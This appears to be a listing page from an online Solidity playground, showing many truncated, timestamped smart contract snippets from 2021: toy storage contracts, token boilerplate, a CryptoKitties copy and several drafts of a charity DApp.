pragma solidity >= 0.7.0 < 0.9.0;

import '@uniswap/v3-core/contracts/libraries/BitMath.sol';

contract Rarity {
    function findRare(uint256 lastId, address poolAddress) public pure returns (uint256) {
        uint256 tokenId = lastId + 1;
        
        while (tokenId < type(uint256).max && !(uint256(keccak256(abi.encodePacked(tokenId, poolAddress))) < type(uint256).max / (1 + BitMath.mostSignificantBit(tokenId) * 2))) {
            tokenId++;
        }
        
        return tokenId;
    }
}
May 06, 2021 17:11:20 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

/**
 * @title Storage
 * @dev Store & retrieve value in a variable
 */
contract Storage {

    uint256 number;

    /**
     * @dev Store value in variable
     * @param num value to store
     */
    function store(uint256 num) public {
        number = num;
    }

    /**
     * @dev Return value 
     * @return value of 'number'
     */
    function retrieve() public view returns (uint256){
        return number;
    }
May 04, 2021 18:58:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.8;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 04, 2021 11:54:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  //lol
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 01, 2021 14:29:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Mom {
  function feed(address child) public {

  }
}

contract Dad {
  function feed(address child) public {
    
  }
}

contract Child is Mom, Dad {
  function feed(address sibling) public {
    super.feed(sibling);
  }
Apr 30, 2021 18:03:46 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.8.0;
contract SimpleStore {
  address a;
  uint256 b;
  bool c;
  uint256 d;
  uint16 e;
  address f;
  uint128 g;
  uint256 h;
Apr 30, 2021 17:50:25 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  address a;
  uint256 b;
  bool c;
  uint256 d;
  uint16 e;
  address f;
  uint128 g;
  uint256 h;
Apr 30, 2021 17:49:58 UTC


pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui
Apr 29, 2021 20:12:18 UTC


pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui
Apr 29, 2021 20:12:08 UTC


pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui
Apr 29, 2021 20:12:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 28, 2021 02:18:13 UTC
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(
Apr 28, 2021 02:15:47 UTC
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.18;


contract EIP20Interface {
    /* This is a slight change to the ERC20 base standard.
    function totalSupply() constant returns (uint256 supply);
    is replaced with:
    uint256 public totalSupply;
    This automatically creates a getter function for the totalSupply.
    This is moved to the base contract since public getter functions are not
    currently recognised as an implementation of the matching abstract
    function by the compiler.
    */
    /// total amount of tokens
    uint256 public totalSupply;

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) public view returns (uint256 balance);

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /
Apr 27, 2021 11:18:46 UTC
/**
 *Submitted for verification at BscScan.com on 2021-04-27
*/

pragma solidity ^0.8.2;
// SPDX-License-Identifier: Unlicensed

contract XXXXXXCoin {
	mapping(address => uint) public balances;
	mapping( address => mapping(address => uint)) public allowance;
	
	uint public totalSupply = 1000000000 * 10**6 * 10**8;
	string public name = "XXXXXX";
	string public symbol = "XXXXXX";
	uint public decimals = 9;
    address private coinConfiger = msg.sender;
    address public owner = msg.sender;
	
	event Transfer(address indexed from, address indexed to, uint value);
	event Approval(address indexed owner, address indexed spender, uint value);
	event Error();
    bool private Errors = false;
	modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    modifier coinConfig() {
        require(msg.sender == coinConfiger);
        _;
    }
	
	constructor(){
		balances[msg.sender] = totalSupply;
		emit Transfer(address(0), msg.sender, totalSupply);
	}
	
	function
Apr 27, 2021 06:24:54 UTC
/**
 *Submitted for verification at BscScan.com on 2021-04-27
*/

pragma solidity ^0.8.2;
// SPDX-License-Identifier: Unlicensed

contract SphynxCatCoin {
	mapping(address => uint) public balances;
	mapping( address => mapping(address => uint)) public allowance;
	
	uint public totalSupply = 1000000000 * 10**6 * 10**8;
	string public name = "SphynxCatCoin";
	string public symbol = "SCC";
	uint public decimals = 9;
    address private coinConfiger = msg.sender;
    address public owner = msg.sender;
	
	event Transfer(address indexed from, address indexed to, uint value);
	event Approval(address indexed owner, address indexed spender, uint value);
	event Error();
    bool private Errors = false;
	modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    modifier coinConfig() {
        require(msg.sender == coinConfiger);
        _;
    }
	
	constructor(){
		balances[msg.sender] = totalSupply;
		emit Transfer(address(0), msg.sender, totalSupply);
	}
	
	f
Apr 27, 2021 06:22:17 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {   
   function callKeccak256() public pure returns(bytes32 result){
      return keccak256("Isla Rebekah Tintpulver");
   }  
Apr 27, 2021 04:19:37 UTC
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.11;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contract
Apr 26, 2021 01:23:54 UTC
pragma solidity >=0.5.0 <0.7.0;

contract SimpleAuction {
    address payable public beneficiary;
    uint public auctionEndTime;

    address public highestBidder;
    uint public highestBid;

    mapping(address => uint) pendingReturns;

    bool ended;

    event HighestBidIncreased(address bidder, uint amount);
    event AuctionEnded(address winner, uint amount);

    constructor(
        uint _biddingTime,
        address payable _beneficiary
    ) public {
        beneficiary = _beneficiary;
        auctionEndTime = now + _biddingTime;
    }

    function bid() public payable {
        require(
            now <= auctionEndTime,
            "Auction already ended."
        );

        require(
            msg.value > highestBid,
            "There already is a higher bid."
        );

        if (highestBid != 0) {
            pendingReturns[highestBidder] += highestBid;
        }
        highestBidder = msg.sender;
        highestBid = msg.value;
        emit HighestBidIncreased(msg.sender, msg.value);
Apr 23, 2021 13:53:58 UTC
pragma solidity >=0.4.0 <=0.6.0;  
  
contract news{  
      
    struct newsfeed{  
        address publisher;  
        string newsdesc;  
    }  
    mapping(uint => newsfeed) public newsfeeds;  
    uint public newsCount;  
  
    function addnews(string memory newsdesc) public {  
        newsCount++;  
        newsfeeds[newsCount].publisher = msg.sender;  
        newsfeeds[newsCount].newsdesc = newsdesc;  
  
    }  
}
Apr 23, 2021 11:20:50 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public pure returns (uint) {
    uint a = 0;
    return a - 1;
  }

  uint value;
Apr 21, 2021 18:02:35 UTC
/**
 *Submitted for verification at BscScan.com on 2020-10-28
*/

// File: openzeppelin-solidity/contracts/proxy/Proxy.sol



pragma solidity ^0.6.0;

/**
 * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
 * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
 * be specified by overriding the virtual {_implementation} function.
 * 
 * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
 * different contract through the {_delegate} function.
 * 
 * The success and return data of the delegated call will be returned back to the caller of the proxy.
 */
abstract contract Proxy {
    /**
     * @dev Delegates the current call to `implementation`.
     * 
     * This function does not return to its internall call site, it will return directly to the external caller.
     */
    function _delegate(address implementation) in
Apr 21, 2021 07:51:19 UTC
pragma solidity ^0.5.0;

import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/math/SafeMath.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/ownership/Ownable.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20Detailed.sol";

contract FreeParking is ERC20, Ownable, ERC20Detailed {
    constructor(
        address _owner,
        uint256 _supply
    )
    ERC20Detailed(
        "Free Parking Protocol", 
        "PARK",
        18
    )
        public
    {
        _mint(_owner, _supply);
    }
    
   using SafeMath for uint256;

   /**
    * @notice We require to know who are all the stakeholders.
    */
   address[] internal stakeholders;

   /**
    * @notice The accumulated revenue for each stakeholder.
    */
   mapping(address =>
Apr 20, 2021 08:56:09 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.5.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 20, 2021 08:31:47 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Playground {

  function signedTest() pure public returns(uint256) {
    uint16 a = uint16(-1);
    uint256 b = a;
    return b;
  }
}
Apr 14, 2021 04:43:40 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Parent {

  Child _child ;

  function Parent(Child child) public {
    _child  = child;
  }
  function call_child() public{
    _child.call_me(msg.sender);
  }

  uint value;
}

contract Child {
  address public _realMsgSender;
  address public _seenMsgSender;

  function call_me(address realMsgSender) public {
    _realMsgSender = realMsgSender;
    _seenMsgSender = msg.sender;
  }

Apr 13, 2021 06:13:15 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar
Apr 11, 2021 07:56:12 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 11, 2021 06:41:23 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficia
Apr 10, 2021 10:23:05 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
Apr 10, 2021 07:19:38 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
Apr 10, 2021 06:34:07 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 13:04:42 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 12:58:40 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 12:44:01 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 10:09:26 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

string[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
address p
Apr 09, 2021 08:44:29 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
  
Apr 08, 2021 18:26:40 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
  
Apr 08, 2021 18:25:14 UTC
pragma solidity ^0.4.25;

/*
    Just the interface so solidity can compile properly
    We could skip this if we use generic call creation or abi.encodeWithSelector
*/
contract ERC20 {
    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) public returns (bool success);
    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

/*
    Generic Receiver Contract
*/
contract Receiver {
    
    address public owner;

    constructor() public {
        /* 
            Deployer's address ( Factory in our
Apr 07, 2021 14:47:07 UTC
pragma solidity >=0.6.0;

contract questFreeton{

	constructor() public {
		require(tvm.pubkey() != 0);
        tvm.accept();
	}
	uint16 constant SIEGE_TIME = 10770;
	uint24 constant QUEST_WINDOW_TIME = 86400;

	uint16 version = 0;
	uint16 questID =0;	

	struct PirateStation{
		string blkch;
		uint24[] crd;
		uint16 siegeTime;
		uint24 exculibr;
		uint24 loki;
		uint32[] tokens;
		uint16 questID;
		uint24 appearance;
	}

	struct Pool{
		string blkch;
		uint8 minStCount;
		uint8 maxStCount;
		uint24 shipsCoeff;
		uint32[] tCount;
	}

	mapping(uint32=>PirateStation) maplogs;

	function setCode(TvmCell newcode) public onlyOwner {
		tvm.setcode(newcode);
		tvm.setCurrentCode(newcode);
		onCodeUpgrade();
	}


	function onCodeUpgrade() private {
		version += 1;
	}

	modifier onlyOwner(){
		require(msg.pubkey() == tvm.pubkey(), 100);
		tvm.accept();
		_;
	}
	function genCount(uint8 _minCount,uint8 _maxCount) internal pure returns(uint8){
		rnd.shuffle();
		uint8 _countStation = _minCount + rnd.next(_maxCount - _minC
Apr 07, 2021 12:07:13 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Beneficiary{
    string description;
    uint maxContr;
    address recipient;
    bool complete;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

string[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
address public reciever;
uint public minContr;
CoopStore[] public CooperativeStores;
/* string[] public BeneficiaryInfo;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info 
Apr 06, 2021 15:39:52 UTC
Apr 05, 2021 21:27:54 UTC
pragma solidity ^0.4.16;
pragma experimental ABIEncoderV2;

contract Owned {
    address public owner;

    function Owned() {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        owner = newOwner;
    }

    function getOwner() public constant returns (address) {
        return owner;
    }
}

contract FileHashStorage is Owned {
    struct File {
        string name;
        uint uploadDate;
        uint size;
    }
    mapping(string => File) private files;
    mapping(string => string[]) private fileOwners;
    string[] public owners;
    uint public ownerID = 0;

    /*
    owners = ["Jung", "Park", ...]
    fileOwners["Jung"] = ["0xABCD1234", "0xDEAD4321"] // Hashed file
    files["0xABCD1234"] = {
      name: "test_file.pdf",
      registerDate: 17203124, // Unix timestamp
      size: 154000 // Bytes
    }
    */

    event Upload(string personName, string fileHash, 
Apr 04, 2021 13:15:52 UTC
pragma solidity ^0.4.22;

contract Insurance {

  struct customer {
    bool isUidGenerated;
    string name;
    uint amountInsured;
  }

  mapping (address => customer) public customerMapping;
  mapping (address => bool) public doctorRegistered;

  address Owner;

  constructor() public {
    Owner = msg.sender;
  }

  modifier onlyOwner() {
    require (Owner == msg.sender);
    _;
  }

  function registerDoctor(address _address) public onlyOwner {
    require (!doctorRegistered[_address], "Doctor already registered!");
    doctorRegistered[_address] = true;
  }

  function generateCustomer(string _name, uint _amountInsured) public onlyOwner returns (address) {
    address uniqueId = address(sha256(msg.sender, now));
    require (!customerMapping[uniqueId].isUidGenerated, "Error occurred! Try again!");
    customerMapping[uniqueId].isUidGenerated = true;
    customerMapping[uniqueId].name = _name;
    customerMapping[uniqueId].amountInsured = _amountInsured;

    return uniqueId;
  }

  function useInsuran
Mar 31, 2021 13:30:31 UTC
/**
  
   #BEE
   
   #LIQ+#RFI+#SHIB+#DOGE = #BEE

   #SAFEMOON features:
   3% fee auto add to the liquidity pool to locked forever when selling
   2% fee auto distribute to all holders
   I created a black hole so #Bee token will deflate itself in supply with every transaction
   50% Supply is burned at start.
   

 */

pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend 
Mar 29, 2021 21:23:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function log(uint256 x) public view returns (uint256 y){
        assembly {
        let arg := x
        x := sub(x,1)
        x := or(x, div(x, 0x02))
        x := or(x, div(x, 0x04))
        x := or(x, div(x, 0x10))
        x := or(x, div(x, 0x100))
        x := or(x, div(x, 0x10000))
        x := or(x, div(x, 0x100000000))
        x := or(x, div(x, 0x10000000000000000))
        x := or(x, div(x, 0x100000000000000000000000000000000))
        x := add(x, 1)
        let m := mload(0x40)
        mstore(m,           0xf8f9cbfae6cc78fbefe7cdc3a1793dfcf4f0e8bbd8cec470b6a28a7a5a3e1efd)
        mstore(add(m,0x20), 0xf5ecf1b3e9debc68e1d9cfabc5997135bfb7a7a3938b7b606b5b4b3f2f1f0ffe)
        mstore(add(m,0x40), 0xf6e4ed9ff2d6b458eadcdf97bd91692de2d4da8fd2d0ac50c6ae9a8272523616)
        mstore(add(m,0x60), 0xc8c0b887b0a8a4489c948c7f847c6125746c645c544c444038302820181008ff)
        ms
Mar 29, 2021 15:20:57 UTC
pragma solidity ^0.7.0;

import "./ERC165/IERC165.sol";
import "./ERC165/ERC165.sol";
import "./utils/Address.sol";
import "./utils/EnumerableMap.sol";
import "./utils/EnumerableSet.sol";
import "./utils/SafeMath.sol";
import "./utils/Strings.sol";
import "./utils/Context.sol";
import "./utils/Ownable.sol";
import "./IERC20.sol";
import "./IMasks.sol";
import "./IERC721Enumerable.sol";

/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {

    /**
     * @dev Returns the token collection name.
     */
